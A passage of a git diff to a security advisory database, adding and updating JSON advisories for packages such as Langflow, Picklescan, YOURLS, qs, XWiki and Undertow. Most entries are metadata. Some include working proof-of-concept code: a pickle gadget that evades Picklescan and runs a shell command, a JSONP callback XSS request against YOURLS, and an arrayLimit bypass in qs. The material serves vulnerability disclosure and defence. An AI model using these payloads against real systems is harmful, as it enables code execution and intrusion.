HMAC protection, the attacker can manually cause slashing of the finality provider through the RPC endpoints.\n\nReport credits go to: x.com/RebelsRunways", "severity": [ { "type": "CVSS_V4", @@ -26,10 +26,40 @@ "introduced": "0" }, { - "last_affected": "1.0.3" + "fixed": "1.0.4" } ] } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.3" + } + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/babylonlabs-io/finality-provider" + }, + "versions": [ + "1.1.0-rc.0" + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/babylonlabs-io/finality-provider" + }, + "versions": [ + "1.1.0-rc.1" + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/babylonlabs-io/finality-provider" + }, + "versions": [ + "1.99.0-devnet.6" ] } ], diff --git a/advisories/github-reviewed/2025/12/GHSA-53gx-j3p6-2rw9/GHSA-53gx-j3p6-2rw9.json b/advisories/github-reviewed/2025/12/GHSA-53gx-j3p6-2rw9/GHSA-53gx-j3p6-2rw9.json index c269621c37489..e0c87695b7f58 100644 --- a/advisories/github-reviewed/2025/12/GHSA-53gx-j3p6-2rw9/GHSA-53gx-j3p6-2rw9.json +++ b/advisories/github-reviewed/2025/12/GHSA-53gx-j3p6-2rw9/GHSA-53gx-j3p6-2rw9.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-53gx-j3p6-2rw9", - "modified": "2025-12-02T01:27:59Z", + "modified": "2026-02-06T19:00:05Z", "published": "2025-12-01T18:59:29Z", "aliases": [ "CVE-2025-55749" @@ -9,6 +9,10 @@ "summary": "XWiki Jetty Package (XJetty) allows accessing any application file through URL", "details": "### Impact\n\nIn an instance which is using the XWiki Jetty package (XJetty), a context is exposed to statically access any file located in the webapp/ folder.\n\nIt allows accessing files which might contains credentials, like http://myhots/webapps/xwiki/WEB-INF/xwiki.cfg, http://myhots/webapps/xwiki/WEB-INF/xwiki.properties or http://myhots/webapps/xwiki/WEB-INF/hibernate.cfg.xml.\n\n### Patches\n\nThis has been patched in 16.10.11, 17.4.4, 17.7.0.\n\n### Workarounds\n\nThe workaround is to modify the start_xwiki.sh script following https://github.com/xwiki/xwiki-platform/compare/8b68d8a70b43f25391b3ee48477d7eb71b95cf4b...99a04a0e2143583f5154a43e02174155da7e8e10.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n\n### Attribution\n\nVulnerability reported by Joseph Huber.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2025/12/GHSA-53v5-9752-qq92/GHSA-53v5-9752-qq92.json b/advisories/github-reviewed/2025/12/GHSA-53v5-9752-qq92/GHSA-53v5-9752-qq92.json index 4ed56eac6caed..d6a49fa7f88fe 100644 --- a/advisories/github-reviewed/2025/12/GHSA-53v5-9752-qq92/GHSA-53v5-9752-qq92.json +++ b/advisories/github-reviewed/2025/12/GHSA-53v5-9752-qq92/GHSA-53v5-9752-qq92.json @@ -71,7 +71,8 @@ ], "database_specific": { "cwe_ids": [ - "CWE-266" + "CWE-266", + "CWE-863" ], "severity": "MODERATE", "github_reviewed": true, diff --git a/advisories/github-reviewed/2025/12/GHSA-54mj-vcvj-q3v5/GHSA-54mj-vcvj-q3v5.json b/advisories/github-reviewed/2025/12/GHSA-54mj-vcvj-q3v5/GHSA-54mj-vcvj-q3v5.json index b592ac42135b9..c085e4f88a6f4 100644 --- a/advisories/github-reviewed/2025/12/GHSA-54mj-vcvj-q3v5/GHSA-54mj-vcvj-q3v5.json +++ b/advisories/github-reviewed/2025/12/GHSA-54mj-vcvj-q3v5/GHSA-54mj-vcvj-q3v5.json @@ -1,14 +1,18 @@ { "schema_version": "1.4.0", "id": "GHSA-54mj-vcvj-q3v5", - "modified": "2025-12-22T22:47:47Z", + "modified": "2026-01-22T16:53:47Z", "published": "2025-12-22T21:30:33Z", "aliases": [ "CVE-2025-67288" ], "summary": "Umbraco CMS has an arbitrary file upload vulnerability", - "details": "An arbitrary file upload vulnerability in Umbraco CMS v16.3.3 allows attackers to execute arbitrary code via uploading a crafted PDF file.", + "details": "An arbitrary file upload vulnerability in Umbraco CMS v16.3.3 allows attackers to execute arbitrary code via uploading a crafted PDF file. While Umbraco provides [hooks to perform file validation](https://docs.umbraco.com/umbraco-cms/reference/security/serverside-file-validation), it does not do implement filtering by default. Users are expected to implement their own validation.\n\nNote: This vulnerability is [disputed by Ubraco](https://github.com/github/advisory-database/pull/6633).", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P" @@ -40,6 +44,14 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67288" }, + { + "type": "WEB", + "url": "https://github.com/github/advisory-database/pull/6633" + }, + { + "type": "WEB", + "url": "https://docs.umbraco.com/umbraco-cms/reference/security/serverside-file-validation" + }, { "type": "PACKAGE", "url": "https://github.com/umbraco/Umbraco-CMS" diff --git a/advisories/github-reviewed/2025/12/GHSA-577h-p2hh-v4mv/GHSA-577h-p2hh-v4mv.json b/advisories/github-reviewed/2025/12/GHSA-577h-p2hh-v4mv/GHSA-577h-p2hh-v4mv.json new file mode 100644 index 0000000000000..f57e2ffeae26c --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-577h-p2hh-v4mv/GHSA-577h-p2hh-v4mv.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-577h-p2hh-v4mv", + "modified": "2026-01-21T21:30:47Z", + "published": "2025-12-06T00:31:36Z", + "aliases": [ + "CVE-2025-34291" + ], + "summary": "Langflow CORS misconfiguration enables Account Takeover and RCE", + "details": "Langflow versions up to and including 1.6.9 contain a chained vulnerability that enables account takeover and remote code execution. An overly permissive CORS configuration (allow_origins='*' with allow_credentials=True) combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. An attacker-controlled origin can therefore obtain fresh access_token / refresh_token pairs for a victim session. Obtained tokens permit access to authenticated endpoints — including built-in code-execution functionality — allowing the attacker to execute arbitrary code and achieve full system compromise.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "langflow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.6.9" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34291" + }, + { + "type": "WEB", + "url": "https://github.com/langflow-ai/langflow/pull/10139" + }, + { + "type": "WEB", + "url": "https://github.com/langflow-ai/langflow/pull/10696" + }, + { + "type": "WEB", + "url": "https://github.com/langflow-ai/langflow/pull/9240" + }, + { + "type": "WEB", + "url": "https://github.com/langflow-ai/langflow/pull/9441" + }, + { + "type": "PACKAGE", + "url": "https://github.com/langflow-ai/langflow" + }, + { + "type": "WEB", + "url": "https://www.obsidiansecurity.com/blog/cve-2025-34291-critical-account-takeover-and-rce-vulnerability-in-the-langflow-ai-agent-workflow-platform" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/langflow-cors-misconfiguration-to-token-hijack-and-rce" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-346" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T21:30:47Z", + "nvd_published_at": "2025-12-05T23:15:47Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-59pp-r3rg-353g/GHSA-59pp-r3rg-353g.json b/advisories/github-reviewed/2025/12/GHSA-59pp-r3rg-353g/GHSA-59pp-r3rg-353g.json new file mode 100644 index 0000000000000..f4180621092fb --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-59pp-r3rg-353g/GHSA-59pp-r3rg-353g.json @@ -0,0 +1,96 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-59pp-r3rg-353g", + "modified": "2025-12-31T22:17:32Z", + "published": "2025-12-30T17:44:10Z", + "aliases": [ + "CVE-2025-67746" + ], + "summary": "Composer is vulnerable to ANSI sequence injection", + "details": "### Impact\nAttackers controlling remote sources that Composer downloads from might in some way inject ANSI control characters in the terminal output of various Composer commands, causing mangled output and potentially leading to confusion or DoS of the terminal application.\n\nThere is no proven exploit and this has thus a low severity but Composer still published a CVE as it has potential for abuse, and Composer wants to be on the safe side informing users that they should upgrade.\n\n### Patches\n2.2.26 for 2.2 LTS or 2.9.3 for mainline.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "composer/composer" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "2.2.26" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "composer/composer" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.3.0" + }, + { + "fixed": "2.9.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/composer/composer/security/advisories/GHSA-59pp-r3rg-353g" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67746" + }, + { + "type": "WEB", + "url": "https://github.com/composer/composer/commit/1d40a95c9d39a6b7f80d404ab30336c586da9917" + }, + { + "type": "WEB", + "url": "https://github.com/composer/composer/commit/5db1876a76fdef76d3c4f8a27995c434c7a43e71" + }, + { + "type": "PACKAGE", + "url": "https://github.com/composer/composer" + }, + { + "type": "WEB", + "url": "https://github.com/composer/composer/releases/tag/2.2.26" + }, + { + "type": "WEB", + "url": "https://github.com/composer/composer/releases/tag/2.9.3" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-74" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T17:44:10Z", + "nvd_published_at": "2025-12-30T16:15:47Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json b/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json index 7f48089c5befc..9c82655ac46a4 100644 --- a/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json +++ b/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json @@ -1,11 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-5j59-xgg2-r9c4", - "modified": "2025-12-12T17:21:58Z", + "modified": "2026-01-15T21:55:04Z", "published": "2025-12-12T17:21:57Z", "aliases": [], "summary": "Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up", - "details": "It was found that the fix addressing [CVE-2025-55184](https://github.com/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and did not fully prevent denial-of-service attacks in all payload types. This affects React package versions 19.0.2, 19.1.3, and 19.2.2 and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-67779](https://www.cve.org/CVERecord?id=CVE-2025-67779).\n\nA malicious HTTP request can be crafted and sent to any Server Function endpoint that, when deserialized, can enter an infinite loop within the React Server Components runtime. This can cause the server process to hang and consume CPU, resulting in denial of service in unpatched environments.", + "details": "It was discovered that the fix for [CVE-2025-55184](https://github.com/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption. \n\nThis vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as [CVE-2025-67779](https://www.cve.org/CVERecord?id=CVE-2025-67779).\n\nA malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/12/GHSA-62r4-hw23-cc8v/GHSA-62r4-hw23-cc8v.json b/advisories/github-reviewed/2025/12/GHSA-62r4-hw23-cc8v/GHSA-62r4-hw23-cc8v.json index 33169d4672dac..7d5010875acab 100644 --- a/advisories/github-reviewed/2025/12/GHSA-62r4-hw23-cc8v/GHSA-62r4-hw23-cc8v.json +++ b/advisories/github-reviewed/2025/12/GHSA-62r4-hw23-cc8v/GHSA-62r4-hw23-cc8v.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-62r4-hw23-cc8v", - "modified": "2025-12-27T01:08:43Z", + "modified": "2026-01-05T19:06:05Z", "published": "2025-12-26T18:18:05Z", "aliases": [ "CVE-2025-68668" @@ -47,6 +47,10 @@ { "type": "PACKAGE", "url": "https://github.com/n8n-io/n8n" + }, + { + "type": "WEB", + "url": "https://www.smartkeyss.com/post/cve-2025-68668-breaking-out-of-the-python-sandbox-in-n8n" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-6556-fwc2-fg2p/GHSA-6556-fwc2-fg2p.json b/advisories/github-reviewed/2025/12/GHSA-6556-fwc2-fg2p/GHSA-6556-fwc2-fg2p.json new file mode 100644 index 0000000000000..3604e35ccdd9f --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-6556-fwc2-fg2p/GHSA-6556-fwc2-fg2p.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6556-fwc2-fg2p", + "modified": "2025-12-30T15:20:14Z", + "published": "2025-12-30T15:20:14Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length", + "details": "### Summary\n\nPicklescan uses the `numpy.f2py.crackfortran._eval_length` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.\n\n### Details\n\nPicklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran._eval_length` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.\n\n### PoC\n```python\nclass PoC:\n def __reduce__(self):\n from numpy.f2py.crackfortran import _eval_length\n return _eval_length, (\"__import__('os').system('whoami')\", None)\n```\n\n### Impact\n\n- Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.\n- Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.\n- Enables supply‑chain poisoning of shared model files.\n\n### Credits\n- [ac0d3r](https://github.com/ac0d3r)\n- [Tong Liu](https://lyutoon.github.io), Institute of information engineering, CAS", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6556-fwc2-fg2p" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:20:14Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-6h4f-pj3g-q8fq/GHSA-6h4f-pj3g-q8fq.json b/advisories/github-reviewed/2025/12/GHSA-6h4f-pj3g-q8fq/GHSA-6h4f-pj3g-q8fq.json new file mode 100644 index 0000000000000..0179e824981a3 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-6h4f-pj3g-q8fq/GHSA-6h4f-pj3g-q8fq.json @@ -0,0 +1,198 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6h4f-pj3g-q8fq", + "modified": "2026-03-18T18:31:09Z", + "published": "2025-12-03T21:31:04Z", + "aliases": [ + "CVE-2024-3884" + ], + "summary": "Undertow OutOfMemory when parsing form data encoding with application/x-www-form-urlencoded", + "details": "A flaw was found in Undertow that can cause remote denial of service attacks. When the server uses the FormEncodedDataDefinition.doParse(StreamSourceChannel) method to parse large form data encoding with application/x-www-form-urlencoded, the method will cause an OutOfMemory issue. This flaw allows unauthorized users to cause a remote denial of service (DoS) attack.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "io.undertow:undertow-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.2.39.Final" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "io.undertow:undertow-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.4.0.Alpha1" + }, + { + "fixed": "2.4.0.Beta1" + } + ] + } + ], + "versions": [ + "2.4.0.Alpha1" + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "io.undertow:undertow-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.3.0.Alpha1" + }, + { + "fixed": "2.3.21.Final" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3884" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/pull/1894" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/pull/1882" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/pull/1860" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/pull/1856" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/commit/cb854c779b9e2368c3c274ebd7217c8e75d505be" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/releases/tag/2.4.0.Beta1" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/releases/tag/2.3.21.Final" + }, + { + "type": "WEB", + "url": "https://github.com/undertow-io/undertow/releases/tag/2.2.39.Final" + }, + { + "type": "PACKAGE", + "url": "https://github.com/undertow-io/undertow" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2275287" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2024-3884" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4924" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4917" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4916" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:4915" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3892" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3891" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:3889" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0386" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0384" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:0383" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:3992" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:3990" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:22777" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:22775" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2025:22773" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T21:20:42Z", + "nvd_published_at": "2025-12-03T19:15:54Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-6mp4-q625-mxjp/GHSA-6mp4-q625-mxjp.json b/advisories/github-reviewed/2025/12/GHSA-6mp4-q625-mxjp/GHSA-6mp4-q625-mxjp.json new file mode 100644 index 0000000000000..a24b42485b43d --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-6mp4-q625-mxjp/GHSA-6mp4-q625-mxjp.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6mp4-q625-mxjp", + "modified": "2025-12-30T19:34:26Z", + "published": "2025-12-30T19:34:26Z", + "aliases": [], + "summary": "YOURLS is vulnerable to XSS through JSONP and Callback request parameters", + "details": "### Summary\n\nThe callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.\n\n### Details\n\nVulnerability exists in the JSONP callback handling chain:\n\n```\nyourls-api.php:127-128\n\nif( isset( $_REQUEST['callback'] ) )\n $return['callback'] = $_REQUEST['callback'];\nelseif ( isset( $_REQUEST['jsonp'] ) )\n $return['callback'] = $_REQUEST['jsonp']; \n```\n---\n\n```\nincludes/functions-api.php:127-128\n\n$callback = isset( $output['callback'] ) ? $output['callback'] : '';\n$result = $callback . '(' . json_encode( $output ) . ')';\n```\n\n### PoC\n\nI. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.\n\nII. `curl \"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//\"\n`\n**Expected response:** `alert(document.domain)//({\"version\":\"1.10.2\",\"callback\":\"alert(document.domain)\\/\\/\"})`\n\nBrowser PoC file:\n\n```\n\n\npwn\n\n

    pwn

    \n\n\n\n```\n\n### Impact\n\nPublic Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**\nPrivate Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "yourls/yourls" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.10.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-6mp4-q625-mxjp" + }, + { + "type": "WEB", + "url": "https://github.com/YOURLS/YOURLS/commit/b1c6100e0aa6fef58c9c1a394ccc19352c3a480a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/YOURLS/YOURLS" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T19:34:26Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-6q37-7866-h27j/GHSA-6q37-7866-h27j.json b/advisories/github-reviewed/2025/12/GHSA-6q37-7866-h27j/GHSA-6q37-7866-h27j.json index 36461d2dbbf3b..66a6bd36881c9 100644 --- a/advisories/github-reviewed/2025/12/GHSA-6q37-7866-h27j/GHSA-6q37-7866-h27j.json +++ b/advisories/github-reviewed/2025/12/GHSA-6q37-7866-h27j/GHSA-6q37-7866-h27j.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6q37-7866-h27j", - "modified": "2025-12-10T17:21:00Z", + "modified": "2026-01-08T20:07:10Z", "published": "2025-12-10T09:30:24Z", "aliases": [ "CVE-2025-14082" @@ -28,7 +28,7 @@ "introduced": "0" }, { - "last_affected": "26.4.7" + "fixed": "26.5.0" } ] } diff --git a/advisories/github-reviewed/2025/12/GHSA-6rw7-vpxm-498p/GHSA-6rw7-vpxm-498p.json b/advisories/github-reviewed/2025/12/GHSA-6rw7-vpxm-498p/GHSA-6rw7-vpxm-498p.json new file mode 100644 index 0000000000000..ccabd0dcd728e --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-6rw7-vpxm-498p/GHSA-6rw7-vpxm-498p.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6rw7-vpxm-498p", + "modified": "2026-03-02T22:05:33Z", + "published": "2025-12-30T21:02:54Z", + "aliases": [ + "CVE-2025-15284" + ], + "summary": "qs's arrayLimit bypass in its bracket notation allows DoS via memory exhaustion", + "details": "### Summary\n\nThe `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1&a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations.\n\n**Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly.\n\n### Details\n\nThe `arrayLimit` option only checked limits for indexed notation (`a[0]=1&a[1]=2`) but did not enforce it for bracket notation (`a[]=1&a[]=2`).\n\n**Vulnerable code** (`lib/parse.js:159-162`):\n```javascript\nif (root === '[]' && options.parseArrays) {\n obj = utils.combine([], leaf); // No arrayLimit check\n}\n```\n\n**Working code** (`lib/parse.js:175`):\n```javascript\nelse if (index <= options.arrayLimit) { // Limit checked here\n obj = [];\n obj[index] = leaf;\n}\n```\n\nThe bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index <= options.arrayLimit` before creating arrays.\n\n### PoC\n\n```javascript\nconst qs = require('qs');\nconst result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });\nconsole.log(result.a.length); // Output: 6 (should be max 5)\n```\n\n**Note on parameterLimit interaction:** The original advisory's \"DoS demonstration\" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000.\n\n### Impact\n\nConsistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "qs" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.14.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284" + }, + { + "type": "WEB", + "url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ljharb/qs" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T21:02:54Z", + "nvd_published_at": "2025-12-29T23:15:42Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-72mh-hgpm-6384/GHSA-72mh-hgpm-6384.json b/advisories/github-reviewed/2025/12/GHSA-72mh-hgpm-6384/GHSA-72mh-hgpm-6384.json index 4a64c93779d66..b686eb3af6bfc 100644 --- a/advisories/github-reviewed/2025/12/GHSA-72mh-hgpm-6384/GHSA-72mh-hgpm-6384.json +++ b/advisories/github-reviewed/2025/12/GHSA-72mh-hgpm-6384/GHSA-72mh-hgpm-6384.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": 